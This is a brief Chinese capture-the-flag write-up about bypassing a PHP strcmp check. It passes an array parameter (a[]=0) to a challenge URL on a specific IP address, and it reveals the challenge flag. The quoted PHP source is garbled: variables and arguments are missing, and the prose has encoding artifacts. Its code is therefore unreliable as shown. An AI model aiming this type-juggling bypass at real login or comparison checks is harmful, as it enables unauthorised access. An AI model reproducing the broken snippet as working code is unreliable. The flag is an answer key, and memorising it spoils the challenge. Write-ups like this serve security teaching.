strcmp比較字符串
strcmp比較字符串
50
http://123.206.87.240:9009/6.php
<?php
_GET['a'])) {
if (strcmp(flag) == 0) //如果 str1 小于 str2 返回 < 0； 如果 str1大于 str2返回 > 0；如果兩者相等，返回 0。
//比較兩個(gè)字符串（區(qū)分大小寫）
die('Flag: '.$flag);
else
print 'No';
}
?>
1.php數(shù)組漏洞
但是如果我們傳入非字符串類型的數(shù)據(jù)的時(shí)候，這個(gè)函數(shù)將發(fā)生錯(cuò)誤，在5.3之前的php中，顯示了報(bào)錯(cuò)的警告信息后，將return 0 ! 也就是雖然報(bào)了錯(cuò)，但卻判定其相等了。
解這道題，就只要傳入一個(gè)非字符串類型的變量即可，一般情況下，我們我們傳數(shù)組
抱著嘗試的心理 構(gòu)造 a[]=0
即 http://123.206.87.240:9009/6.php?a[]=0
直接得到 Flag: flag{bugku_dmsj_912k}
